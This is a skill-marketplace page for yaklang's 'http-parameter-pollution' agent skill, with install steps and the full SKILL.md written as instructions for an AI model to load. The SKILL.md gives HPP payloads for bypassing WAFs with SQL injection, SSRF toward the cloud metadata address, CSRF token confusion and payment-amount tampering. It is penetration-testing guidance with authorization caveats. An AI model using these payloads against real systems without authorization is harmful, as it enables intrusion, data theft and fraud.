Http Parameter Pollution logo

Http Parameter Pollution

OrganizationPopular
yaklang
http-parameter-pollution

HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.

Overview

Publisheryaklang
Repositoryhack-skills
Skill namehttp-parameter-pollution
Stars
2.2K
Forks
292
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by yaklang on GitHub. Read the source before you install it.

Installation

Install the Http Parameter Pollution AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/yaklang/hack-skills.git /tmp/hack-skills
mkdir -p .claude/skills
cp -r /tmp/hack-skills/skills/http-parameter-pollution .claude/skills/http-parameter-pollution
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Http Parameter Pollution in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Http Parameter Pollution on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Http Parameter Pollution is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

SKILL: HTTP Parameter Pollution (HPP)

AI LOAD INSTRUCTION: Model the full request path: browser → CDN/WAF → reverse proxy → app framework → business code. Duplicate keys (a=1&a=2) are not an error at HTTP level; each hop may pick first, last, join, or array-ify. Test HPP when WAF and app disagree, or when internal HTTP clients rebuild query strings. Routing note: when the same parameter appears multiple times, or WAF/backend stacks differ, use the Section 1 matrix to test first/last/merge assumptions, then design Section 3 scenario chains.

0. QUICK START

Hypothesis: the security check reads one occurrence of a parameter while the action reads another.

First-pass payloads

text
id=1&id=2
id=1&id=1%20OR%201=1
url=https://legit.example&id=https://evil.example
amount=1&amount=9999
csrf=TOKEN_A&csrf=TOKEN_B
user=alice&user=admin

Body variants (repeat for POST)

text
application/x-www-form-urlencoded
id=1&id=2

multipart/form-data
------boundary
Content-Disposition: form-data; name="id"
1
------boundary
Content-Disposition: form-data; name="id"
2

Quick methodology

  1. Fingerprint front stack (CDN/WAF) vs origin (language/framework) using baseline a=1&a=2.
  2. Send both orders: a=1&a=2 and a=2&a=1 (some parsers are order-sensitive).
  3. If JSON: test duplicate keys and Content-Type confusion (see Section 2).

1. SERVER BEHAVIOR MATRIX

Typical defaults — always confirm; middleware and custom parsers override these.

TechnologyBehaviorExample: a=1&a=2
PHP / Apache ($_GET)Last occurrencea=2
ASP.NET / IISOften comma-joined (all)a=1,2
JSP / Tomcat (servlet param)First occurrencea=1
Python / Django (QueryDict)Last occurrencea=2
Python / Flask (request.args)First occurrencea=1
Node.js / Express (req.query)Array of valuesa=['1','2'] (shape may vary by parser version)
Perl / CGIFirst occurrencea=1
Ruby / Rack (Rack::Utils)Last occurrencea=2
Go net/http (ParseQuery)First occurrencea=1

Why it matters: a WAF on IIS might see 1,2 while PHP backend receives 2 only — or the reverse if a proxy normalizes.


2. PAYLOAD PATTERNS

2.1 Basic duplicate key

http
GET /api?q=safe&q=evil HTTP/1.1

2.2 Array-style (PHP / some frameworks)

http
GET /api?id[]=1&id[]=2 HTTP/1.1

2.3 Mixed array + scalar

http
GET /api?item[]=a&item=b HTTP/1.1

2.4 Encoded ampersand (parser differential)

text
# Literal & inside a value vs new pair — depends on decoder
param=value1%26other=value2
param=value1&other=value2

2.5 Nested / bracket keys

http
GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1

2.6 JSON duplicate keys

json
{"test":"user","test":"admin"}

Many parsers keep last key; some keep first. JavaScript JSON.parse keeps the last duplicate key.


3. ATTACK SCENARIOS

3.1 HPP + WAF bypass

Pattern: WAF inspects first value; application uses last.

text
id=1&id=1%20UNION%20SELECT%20...

Also try: benign value in JSON field duplicated in query string, if gateway merges sources differently.

3.2 HPP + SSRF

Pattern: validator reads safe URL; fetcher reads internal/evil URL.

text
url=https://allowed.cdn.example/&url=http://169.254.169.254/

Confirm which component (library vs app) consumes which occurrence.

3.3 HPP + CSRF

Pattern: duplicate anti-CSRF token so one copy satisfies parser A and another satisfies parser B.

text
csrf=LEGIT&csrf=IGNORED_OR_ALT

Use only in authorized CSRF assessments with a clear state-changing target.

3.4 HPP + business logic (e.g. payment)

text
amount=1&amount=5000
quantity=1&quantity=-1
price=9.99&price=0.01

Pair with race conditions or server-side rounding for higher impact; HPP alone often needs a split interpretation across layers.


4. TOOLS

ToolHow to use
Burp SuiteRepeater: duplicate keys in raw query/body; Param Miner / extensions for hidden params; compare responses for first vs last interpretation
OWASP ZAPManual Request Editor; Automated Scan may not deeply fuzz HPP — prefer manual variants
Custom scriptsBuild exact raw HTTP (preserve ordering) — some clients normalize duplicates

Tip: log raw query strings at the app if you control a test lab; some frameworks expose only the “winning” value while logs show the full string.


5. DECISION TREE

text
                    +-------------------------+
                    | Duplicate param name    |
                    | same request            |
                    +------------+------------+
                                 |
              +------------------+------------------+
              |                                     |
       +------v------+                       +------v------+
       | Single app  |                       | WAF / CDN / |
       | layer only  |                       | proxy chain |
       +------+------+                       +------+------+
              |                                     |
    +---------v---------+                 +---------v---------+
    | Read framework    |                 | Map each hop:     |
    | docs + test       |                 | first/last/join/  |
    | a=1&a=2 vs swap   |                 | array             |
    +---------+---------+                 +---------+---------+
              |                                     |
              +------------------+------------------+
                                 |
                          +------v------+
                          | Pick attack |
                          | template    |
                          +------+------+
                                 |
         +-----------+-----------+-----------+-----------+
         |           |           |           |           |
    +----v----+ +----v----+ +----v----+ +----v----+ +----v----+
    | WAF vs  | | SSRF    | | CSRF    | | Logic   | | JSON    |
    | app     | | split   | | token   | | numeric | | dup key |
    | value   | | URL     | | confuse | | fields  | | parsers |
    +---------+ +---------+ +---------+ +---------+ +---------+

Safety & scope: HPP testing can change server state (payments, account settings). Run only where explicitly authorized, with scoped accounts, and document parser behavior before high-impact requests.

Frequently asked questions

What does the Http Parameter Pollution AI skill do?

HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.

Why use Http Parameter Pollution on TypingMind?

Because you install it once and use it with any model. Http Parameter Pollution is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Http Parameter Pollution in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/yaklang/hack-skills/tree/main/skills/http-parameter-pollution. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Http Parameter Pollution?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Http Parameter Pollution?

As many as you like. As long as a model supports skills, you can use Http Parameter Pollution with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Http Parameter Pollution AI skill free?

Yes. It is published on GitHub by yaklang under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇